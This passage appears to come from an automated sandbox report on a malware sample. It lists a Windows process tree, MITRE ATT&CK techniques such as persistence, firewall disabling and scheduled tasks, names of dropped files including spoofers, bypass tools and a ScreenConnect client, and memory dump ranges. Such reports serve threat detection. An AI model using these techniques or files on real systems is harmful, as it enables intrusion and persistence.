C:\Windows\system32\schtasks.exeschtasks.exe /Create /tn "Microsoft\Office\OfficeTelemetryAgentFallBack2016" /XML "C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml"2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\wevtutil.exewevtutil.exe im "C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\wordEtw.man" /rf:"C:\Program Files\Microsoft Office\root\Office16\wwlib.dll" /mf:"C:\Program Files\Microsoft Office\root\Office16\wwlib.dll"2⤵
-
-
C:\Windows\System32\wevtutil.exewevtutil.exe im "C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\msoutilstat.etw.man" /rf:"C:\Program Files\Microsoft Office\root\Office16\msoetwres.dll" /mf:"C:\Program Files\Microsoft Office\root\Office16\msoetwres.dll"2⤵
-
-
C:\Windows\System32\wevtutil.exewevtutil.exe im "C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\AirSpace.Etw.man" /rf:"C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\mso.dll" /mf:"C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\mso.dll"2⤵
-
-
C:\Windows\System32\wevtutil.exewevtutil.exe im "C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\wordEtw.man" /rf:"C:\Program Files\Microsoft Office\root\Office16\wwlib.dll" /mf:"C:\Program Files\Microsoft Office\root\Office16\wwlib.dll"2⤵
-
-
C:\Windows\System32\wevtutil.exewevtutil.exe im "C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\AirSpace.Etw.man" /rf:"C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\mso.dll" /mf:"C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\mso.dll"2⤵
-
-
C:\Windows\system32\wbem\WmiApSrv.exeC:\Windows\system32\wbem\WmiApSrv.exe1⤵
-
C:\Program Files\Microsoft Office\root\Office16\msoia.exe"C:\Program Files\Microsoft Office\root\Office16\msoia.exe"1⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic1⤵
-
C:\Program Files (x86)\Internet Explorer\ielowutil.exe"C:\Program Files (x86)\Internet Explorer\ielowutil.exe" -CLSID:{0002DF01-0000-0000-C000-000000000046} -Embedding1⤵
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" -Embedding1⤵
-
C:\Windows\System32\smss.exe\SystemRoot\System32\smss.exe 00000128 000000841⤵
-
C:\Windows\System32\smss.exe\SystemRoot\System32\smss.exe 0000011c 000000841⤵
-
C:\Windows\System32\smss.exe\SystemRoot\System32\smss.exe 00000128 000000841⤵
-
C:\Windows\System32\smss.exe\SystemRoot\System32\smss.exe 00000098 000000841⤵
-
C:\Windows\System32\smss.exe\SystemRoot\System32\smss.exe 000000ac 000000841⤵
-
C:\Windows\System32\smss.exe\SystemRoot\System32\smss.exe 0000019c 000000841⤵
-
C:\Windows\System32\smss.exe\SystemRoot\System32\smss.exe 00000144 000000841⤵
-
C:\Windows\System32\smss.exe\SystemRoot\System32\smss.exe 000001b0 000000841⤵
-
C:\Windows\System32\smss.exe\SystemRoot\System32\smss.exe 000002c4 000000841⤵
-
C:\Windows\System32\smss.exe\SystemRoot\System32\smss.exe 000003ac 000000841⤵
-
C:\Windows\System32\smss.exe\SystemRoot\System32\smss.exe 00000378 000000841⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
3PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
3Service Execution
3Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
2Change Default File Association
1Installer Packages
1Power Settings
1Scheduled Task/Job
1Scheduled Task
1Server Software Component
1Terminal Services DLL
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
2Change Default File Association
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Modify Registry
2System Binary Proxy Execution
1Msiexec
1Replay Monitor
Loading Replay Monitor...
Downloads
nslist.hxl
CFXBypass.exe
a.exe
FRMDATA64.DAT
DismHost.exe
Callisto.ini
RGIAB4.tmp
VCRUNTIME140.dll
_asyncio.pyd
_bz2.pyd
_cffi_backend.cp313-win_amd64.pyd
_ctypes.pyd
_decimal.pyd
_hashlib.pyd
_lzma.pyd
api-ms-win-core-console-l1-1-0.dll
api-ms-win-core-datetime-l1-1-0.dll
api-ms-win-core-debug-l1-1-0.dll
api-ms-win-core-errorhandling-l1-1-0.dll
api-ms-win-core-fibers-l1-1-0.dll
api-ms-win-core-file-l1-1-0.dll
api-ms-win-core-file-l1-2-0.dll
api-ms-win-core-file-l2-1-0.dll
api-ms-win-core-handle-l1-1-0.dll
api-ms-win-core-heap-l1-1-0.dll
api-ms-win-core-interlocked-l1-1-0.dll
api-ms-win-core-libraryloader-l1-1-0.dll
api-ms-win-core-localization-l1-2-0.dll
api-ms-win-core-memory-l1-1-0.dll
api-ms-win-core-namedpipe-l1-1-0.dll
api-ms-win-core-processenvironment-l1-1-0.dll
api-ms-win-core-processthreads-l1-1-0.dll
api-ms-win-core-processthreads-l1-1-1.dll
api-ms-win-core-profile-l1-1-0.dll
api-ms-win-core-rtlsupport-l1-1-0.dll
api-ms-win-core-string-l1-1-0.dll
api-ms-win-core-synch-l1-1-0.dll
api-ms-win-core-synch-l1-2-0.dll
api-ms-win-core-sysinfo-l1-1-0.dll
api-ms-win-core-timezone-l1-1-0.dll
api-ms-win-core-util-l1-1-0.dll
api-ms-win-crt-conio-l1-1-0.dll
api-ms-win-crt-convert-l1-1-0.dll
api-ms-win-crt-environment-l1-1-0.dll
api-ms-win-crt-filesystem-l1-1-0.dll
api-ms-win-crt-heap-l1-1-0.dll
api-ms-win-crt-locale-l1-1-0.dll
api-ms-win-crt-math-l1-1-0.dll
api-ms-win-crt-process-l1-1-0.dll
api-ms-win-crt-runtime-l1-1-0.dll
api-ms-win-crt-stdio-l1-1-0.dll
api-ms-win-crt-string-l1-1-0.dll
api-ms-win-crt-time-l1-1-0.dll
api-ms-win-crt-utility-l1-1-0.dll
base_library.zip
libcrypto-3.dll
libffi-8.dll
libssl-3.dll
pyexpat.pyd
python3.dll
python313.dll
select.pyd
ucrtbase.dll
unicodedata.pyd
__PSScriptPolicyTest_cvhvnfqu.4kj.ps1
System.dll
6d2bac8f1edf6668.customDestinations-ms
RuntimeBroker_svc.exe
winhost.exe
dism.log
240695046.jpg
02.08.2022.exe
444.exe
CFXBypass.exe
Client-built.exe
Fast%20Download.exe
ScreenConnect.ClientSetup.exe
TempSpoofer.exe
client.exe
support.client.exe
update.exe
cache.txt
cache.txt
memory/1028-722-0x00000259F9C70000-0x00000259F9C77000-memory.dmp
memory/1552-607-0x0000000000400000-0x000000000041F000-memory.dmp
memory/1552-580-0x0000000000400000-0x000000000041F000-memory.dmp
memory/1612-152-0x000001978AB10000-0x000001978AB11000-memory.dmp
memory/1612-139-0x000001978AB10000-0x000001978AB11000-memory.dmp
memory/1612-155-0x000001978AB10000-0x000001978AB11000-memory.dmp
memory/1612-138-0x000001978AB10000-0x000001978AB11000-memory.dmp
memory/1612-140-0x000001978AB10000-0x000001978AB11000-memory.dmp
memory/1612-154-0x000001978AB10000-0x000001978AB11000-memory.dmp
memory/1612-149-0x000001978AB10000-0x000001978AB11000-memory.dmp
memory/1612-150-0x000001978AB10000-0x000001978AB11000-memory.dmp
memory/1612-151-0x000001978AB10000-0x000001978AB11000-memory.dmp
memory/1612-153-0x000001978AB10000-0x000001978AB11000-memory.dmp
memory/3068-720-0x0000020635040000-0x0000020635047000-memory.dmp
memory/3068-712-0x0000020635030000-0x0000020635033000-memory.dmp
memory/3272-1223-0x0000000007E50000-0x0000000007E51000-memory.dmp
memory/3272-724-0x0000000003060000-0x0000000003067000-memory.dmp
memory/3272-1221-0x00000000031F0000-0x00000000031F1000-memory.dmp
memory/3272-1222-0x00000000075D0000-0x00000000075D1000-memory.dmp
memory/3272-1224-0x0000000007E60000-0x0000000007E61000-memory.dmp
memory/3272-1225-0x0000000008940000-0x0000000008941000-memory.dmp
memory/3272-1226-0x0000000008950000-0x0000000008951000-memory.dmp
memory/3728-726-0x0000027C8C770000-0x0000027C8C777000-memory.dmp
memory/3968-728-0x0000022096630000-0x0000022096637000-memory.dmp
memory/4196-244-0x0000000070180000-0x000000007022A000-memory.dmp
memory/4804-1917-0x000002C14F2D0000-0x000002C14F306000-memory.dmp
memory/4912-730-0x000001093FBB0000-0x000001093FBB7000-memory.dmp
memory/4980-239-0x0000000070180000-0x000000007022A000-memory.dmp
memory/6912-1234-0x00007FFBE4D30000-0x00007FFBE4D32000-memory.dmp
memory/6912-1247-0x00000000001E0000-0x00000000001E1000-memory.dmp
memory/6912-1235-0x0000000140000000-0x00000001408E5000-memory.dmp
memory/6964-1256-0x0000000000400000-0x00000000004C4000-memory.dmp
memory/7092-743-0x0000000000F20000-0x0000000000F3A000-memory.dmp
memory/7144-318-0x0000000000E80000-0x0000000001ACF000-memory.dmp
memory/7144-1242-0x0000000000E80000-0x0000000001ACF000-memory.dmp
memory/7144-541-0x0000000000E80000-0x0000000001ACF000-memory.dmp
memory/7144-2012-0x0000000000E80000-0x0000000001ACF000-memory.dmp
memory/7144-1261-0x0000000000E80000-0x0000000001ACF000-memory.dmp
memory/7160-333-0x000000001C980000-0x000000001C9D0000-memory.dmp
memory/7160-335-0x000000001CA90000-0x000000001CB42000-memory.dmp
memory/7160-316-0x0000000000F60000-0x0000000001284000-memory.dmp
memory/7176-621-0x00000246AFA00000-0x00000246AFA22000-memory.dmp
memory/7188-323-0x0000000005720000-0x0000000005742000-memory.dmp
memory/7188-325-0x00000000063A0000-0x0000000006944000-memory.dmp
memory/7188-321-0x0000000005690000-0x000000000571C000-memory.dmp
memory/7188-320-0x0000000005B00000-0x0000000005DF2000-memory.dmp
memory/7188-317-0x0000000003040000-0x0000000003048000-memory.dmp
memory/7188-324-0x0000000005800000-0x00000000059AC000-memory.dmp
memory/7552-529-0x0000000140000000-0x0000000140040000-memory.dmp
memory/7552-523-0x0000000140000000-0x0000000140040000-memory.dmp
memory/7552-524-0x0000000140000000-0x0000000140040000-memory.dmp
memory/7552-527-0x0000000140000000-0x0000000140040000-memory.dmp
memory/7552-528-0x0000000140000000-0x0000000140040000-memory.dmp
memory/7552-530-0x0000000140000000-0x0000000140040000-memory.dmp
memory/7576-579-0x00007FFBD4A40000-0x00007FFBD4A4F000-memory.dmp
memory/7576-396-0x0000000003530000-0x000000000609B000-memory.dmp
memory/7576-578-0x0000000140000000-0x000000014011D000-memory.dmp
memory/7640-1554-0x000002607C3C0000-0x000002607C3E4000-memory.dmp
memory/7804-549-0x0000000000400000-0x000000000041E000-memory.dmp
memory/7804-916-0x0000000000400000-0x000000000041E000-memory.dmp
memory/8112-603-0x0000000000400000-0x0000000000430000-memory.dmp
memory/8188-914-0x000001C8B3960000-0x000001C8B396A000-memory.dmp
memory/8264-623-0x000001F24B220000-0x000001F24B248000-memory.dmp
memory/8764-917-0x0000000000400000-0x000000000040C000-memory.dmp
memory/8764-1246-0x0000000000400000-0x000000000040C000-memory.dmp
memory/8820-682-0x0000000000400000-0x00000000004051C8-memory.dmp
memory/8856-697-0x00000000000E0000-0x00000000000F8000-memory.dmp
memory/9028-711-0x0000000000690000-0x00000000006A6000-memory.dmp
memory/9352-872-0x000001B0B01E0000-0x000001B0B01EC000-memory.dmp
memory/9364-801-0x0000000000270000-0x0000000000280000-memory.dmp
memory/9388-791-0x00007FF7DD560000-0x00007FF7DDC6E000-memory.dmp
memory/9412-1073-0x0000000001230000-0x0000000001231000-memory.dmp
memory/9448-1240-0x00007FF6BD230000-0x00007FF6BD27A000-memory.dmp
memory/9748-1210-0x0000000000400000-0x0000000000422000-memory.dmp
memory/10540-1012-0x00007FFBE4B30000-0x00007FFBE4D25000-memory.dmp
memory/10708-958-0x0000000000400000-0x000000000040E000-memory.dmp
memory/10708-2008-0x0000000000400000-0x000000000040E000-memory.dmp
memory/10860-972-0x0000000000400000-0x0000000000426000-memory.dmp
memory/10860-1401-0x0000000000400000-0x0000000000426000-memory.dmp
memory/11144-1539-0x00000195AE7A0000-0x00000195AE7BC000-memory.dmp
memory/11144-1528-0x00000195AE560000-0x00000195AE57C000-memory.dmp
memory/11144-1529-0x00000195AE580000-0x00000195AE635000-memory.dmp
memory/11144-1535-0x00000195AE550000-0x00000195AE55A000-memory.dmp
memory/11144-1543-0x00000195AE780000-0x00000195AE78A000-memory.dmp
memory/11144-1547-0x00000195AE7D0000-0x00000195AE7DA000-memory.dmp
memory/11144-1546-0x00000195AE7C0000-0x00000195AE7C6000-memory.dmp
memory/11144-1545-0x00000195AE790000-0x00000195AE798000-memory.dmp
memory/11144-1544-0x00000195AE7E0000-0x00000195AE7FA000-memory.dmp
memory/11256-1212-0x0000000000400000-0x000000000041C000-memory.dmp
memory/11256-986-0x0000000000400000-0x000000000041C000-memory.dmp
memory/11484-1337-0x00007FFBA2520000-0x00007FFBA2530000-memory.dmp
memory/11484-1319-0x00007FFBA2520000-0x00007FFBA2530000-memory.dmp
memory/11484-1257-0x00007FFBA4BB0000-0x00007FFBA4BC0000-memory.dmp
memory/11484-1250-0x00007FFBA4BB0000-0x00007FFBA4BC0000-memory.dmp
memory/11484-1252-0x00007FFBA4BB0000-0x00007FFBA4BC0000-memory.dmp
memory/11484-1251-0x00007FFBA4BB0000-0x00007FFBA4BC0000-memory.dmp
memory/11484-1253-0x00007FFBA4BB0000-0x00007FFBA4BC0000-memory.dmp
memory/11596-1015-0x0000000000400000-0x0000000000407000-memory.dmp
memory/11596-1055-0x0000000000400000-0x0000000000407000-memory.dmp
memory/11760-1018-0x0000000000400000-0x000000000043C000-memory.dmp
memory/11844-1014-0x000001EB12870000-0x000001EB12884000-memory.dmp
memory/11844-1043-0x000001EB12BF0000-0x000001EB12C00000-memory.dmp
memory/11880-1048-0x000000006FA90000-0x000000006FAA0000-memory.dmp
memory/11880-1027-0x0000000000400000-0x00000000004EC000-memory.dmp
memory/11880-1239-0x0000000000400000-0x00000000004EC000-memory.dmp
memory/11972-1053-0x00000000004B0000-0x00000000004D8000-memory.dmp
memory/12172-1028-0x0000000000B70000-0x0000000000B95000-memory.dmp
memory/12172-1229-0x0000000000B70000-0x0000000000B95000-memory.dmp
memory/12296-1233-0x0000000000D30000-0x00000000011A2000-memory.dmp
memory/12296-1227-0x0000000000760000-0x0000000000795000-memory.dmp
memory/12432-1051-0x0000000000800000-0x0000000000825000-memory.dmp
memory/12580-1213-0x0000000000400000-0x0000000000418000-memory.dmp
memory/12668-1097-0x0000000000400000-0x0000000000407000-memory.dmp
memory/12768-1100-0x0000000000430000-0x000000000043E000-memory.dmp
memory/13016-1101-0x00000000009B0000-0x00000000009C6000-memory.dmp
memory/13108-1106-0x0000000000140000-0x0000000000174000-memory.dmp
memory/13152-1209-0x0000000000400000-0x000000000041F000-memory.dmp
memory/13256-1479-0x0000000000400000-0x000000000041B000-memory.dmp
memory/13696-1459-0x00000170F35C0000-0x00000170F3604000-memory.dmp
memory/13696-1481-0x00000170F3610000-0x00000170F3686000-memory.dmp